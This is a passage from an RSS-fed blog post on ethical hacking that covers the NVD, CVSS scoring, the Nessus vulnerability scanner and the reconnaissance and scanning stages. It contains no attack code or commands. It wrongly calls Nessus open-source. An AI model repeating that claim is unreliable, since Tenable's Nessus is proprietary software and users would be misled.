(NVD)</a>, it is home to vulnerability management data created and maintained by the U.S. government that analyzes the software vulnerabilities published in the Common Vulnerabilities and Exposures (CVE) database. The NVD rates the severity of known vulnerabilities using the Common Vulnerability Scoring System (CVSS).</li></ul><p>Let’s talk about one of the big players used in scanning and enumeration — <strong>Nessus</strong><br>Nessus is an open-source network vulnerability scanner, developed by Tenable, that scans for possible vulnerabilities that could be exploited. Nessus tests each port, determines what service is running, its version, and then tests the service to make sure there are no vulnerabilities in it that could be used by a bad actor to carry out a malicious attack.<br><a href="https://www.tenable.com/downloads/nessus?loginAttempted=true">Download Nessus from Tenable</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UR3EMT4pKe-ufELNRPV7hA.png" /><figcaption><strong>Nessus scan</strong></figcaption></figure><blockquote>Here’s a tool you can use to parse Nessus scan files Nessus and export those files to a Microsoft Excel Workbook for easy analysis: <a href="https://github.com/LimberDuck/nessus-file-analyzer">Nessus File Analyzer</a></blockquote><p>The summary of part one is that reconnaissance and scanning &amp; enumeration are essential stages in the ethical hacking methodology. These steps involve gathering information, identifying vulnerabilities, and mapping the target network or system. Ethical hackers use these techniques to gain valuable intelligence, identify potential entry points, and understand the target’s security posture. In part two, we will look at how all these valuable findings can turn into actionable steps for gaining access to the target.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2548de8656f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>